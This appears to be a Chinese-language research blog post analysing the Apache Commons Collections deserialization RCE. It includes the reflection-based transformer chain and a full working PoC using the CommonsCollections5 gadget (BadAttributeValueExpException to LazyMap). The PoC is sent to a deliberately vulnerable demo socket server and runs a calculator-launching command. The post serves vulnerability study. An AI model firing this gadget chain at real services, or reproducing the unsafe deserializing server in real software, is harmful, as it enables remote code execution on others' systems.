0x00 CommonsCollections
上篇文章讲到了Spring-tx组件出现的问题,通过构造RMI和JNDI来供服务端下载恶意class并通过反序列化进行RCE,这次研究一下另外一种漏洞,利用Java的反射机制来执行任意命令,并且通过反序列化来进行RCE。本次分析的漏洞是2015年出现的Apache-commons-collections组件出现的反序列化问题,这个包为Java提供了很多基础常用且强大的数据结构,方便开发。
0x01 TransformedMap
看网上的大佬们说这次出现的问题是由于TransformedMap和InvokerTransformer造成的。
Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(...),
new InvokerTransformer(...)
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map transMap = TransformedMap.decorate(rawMap, null, chainedTransformer);
0x02 Run exec
Map normalMap = new HashMap();
normalMap.put("foo", "bar");
Map transformMap = TransformedMap.decorate(normalMap, transformChain, transformChain);
Map.Entry entry = (Map.Entry) transformMap.entrySet().iterator().next();
entry.setValue("test");
下面来看下InvokerTransformer的关键代码关键部分在于通过getClass()、getMethod、invoke()来进行反射,查找并调用给定的方法。
((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("ifconfig")
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class)
};
Transformer transformChain = new ChainedTransformer(transformers);
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]})
};
Transformer transformChain = new ChainedTransformer(transformers);
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"})
};
Transformer transformChain = new ChainedTransformer(transformers);
// 创建普通的Map
Map normalMap = new HashMap();
normalMap.put("foo", "bar");
// 将普通的Map变成TransformedMap,并且指定变换方式为前面定义的恶意chain
Map transformMap = TransformedMap.decorate(normalMap, transformChain, transformChain);
// 尝试修改TransformedMap中的一个值,成功执行命令
Map.Entry entry = (Map.Entry) transformMap.entrySet().iterator().next();
entry.setValue("test");
0x03 RCE ?
该类重写了readObject
方法;
该类在readObject
方法中操作了我们序列化后实现了pocChain
的TransformedMap
;
看了网上很多的文章,均提到了AnnotationInvocationHandler类,其中有一个变量memberValues是Map类型,并且这个变量可以在构造函数中设置,除此之外,还在readObject方法中对memberValues中的每一项调用了setValues方法。一切简直完美,完全符合刚才说到的条件,但是在我实际的调试中发现,为什么不弹计算器,为什么AnnotationInvocationHandler的代码和大佬们的代码不一样,附上我这里的代码:
多篇文章中提到的setValues
方法失踪了,搜了很多篇资料后,具体原因还是不太清楚,姑且认为是JDK1.8
的原因吧,所以我们需要找一个其他的类来完成我们的调用链;后来在网上找到了ysoserial这个项目,惊喜的发现其中的CommonsCollections5
这个payload可以完美运行,于是对着这个poc疯狂调试,终于找到了一个调用链。
0x04 RCE !
package javax.management;
import java.io.IOException;
import java.io.ObjectInputStream;
public class BadAttributeValueExpException extends Exception {
/* Serial version */
private static final long serialVersionUID = -3105272988410493376L;
/**
* @serial A string representation of the attribute that originated this exception.
* for example, the string value can be the return of {@code attribute.toString()}
*/
private Object val;
/**
* Constructs a BadAttributeValueExpException using the specified Object to
* create the toString() value.
*
* @param val the inappropriate value.
*/
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
/**
* Returns the string representing the object.
*/
public String toString() {
return "BadAttributeValueException: " + val;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
构造一个BadAttributeValueException对象exception ->
exception的val变量设置为LazyMap的entry ->
调用entry的toString将其转为字符串 ->
调用LazyMap的get方法获取一个不存在的key ->
调用transform方法执行命令
BadAttributeValueException.readObject ->
TiedMapEntry.toString ->
LazyMap.get ->
ChainedTransformer.transform
Map innerMap = new HashMap();
innerMap.put("foo", "bar");
Map lazyMap = LazyMap.decorate(innerMap, transformChain);
lazyMap.get("foo233");
Map innerMap = new HashMap();
innerMap.put("foo", "bar");
Map lazyMap = LazyMap.decorate(innerMap, transformChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233");
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
Field valField = exception.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exception, entry);
我调试的时候使用的是IDEA,在调试模式下,IDE会不断的计算每个变量的值,正是因为这个特性,IDE会『帮』我们提前执行PoC,从而导致在没有走到漏洞触发点的时候就已经弹计算器了,所以在调试的时候要格外细心,防止走错路。比如这张图,断点下在构造exception的时候,但是我们的PoC已经执行了,其原因就是IDE调试功能中的自动计算导致的。
0x05 DEMO
// filename: Server.java
package me.lightless;
import java.io.ObjectInputStream;
import java.net.ServerSocket;
import java.net.Socket;
public class Server {
public static void main(String[] args) {
try {
ServerSocket serverSocket = new ServerSocket(9999);
System.out.println("Server started on port " + serverSocket.getLocalPort());
while (true) {
Socket socket = serverSocket.accept();
System.out.println("Connection received from " + socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
Object object = objectInputStream.readObject();
System.out.println("Read object " + object);
} catch (Exception e) {
System.out.println("Exception caught while reading object");
e.printStackTrace();
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
// filename: POC.java
package me.lightless;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.Socket;
import java.util.HashMap;
import java.util.Map;
public class POC {
public static void main(String[] args) throws Exception {
// ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("payload.bin"));
// objectInputStream.readObject();
// objectInputStream.close();
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"}),
new ConstantTransformer("1")
};
Transformer transformChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233");
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
Field valField = exception.getClass().getDeclaredField("val");
// System.out.println("val field: " + valField);
valField.setAccessible(true);
valField.set(exception, entry);
Socket socket=new Socket("127.0.0.1", 9999);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(exception);
objectOutputStream.flush();
}
}
0xff 参考文献
https://security.tencent.com/index.php/blog/msg/97
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
https://github.com/frohoff/ysoserial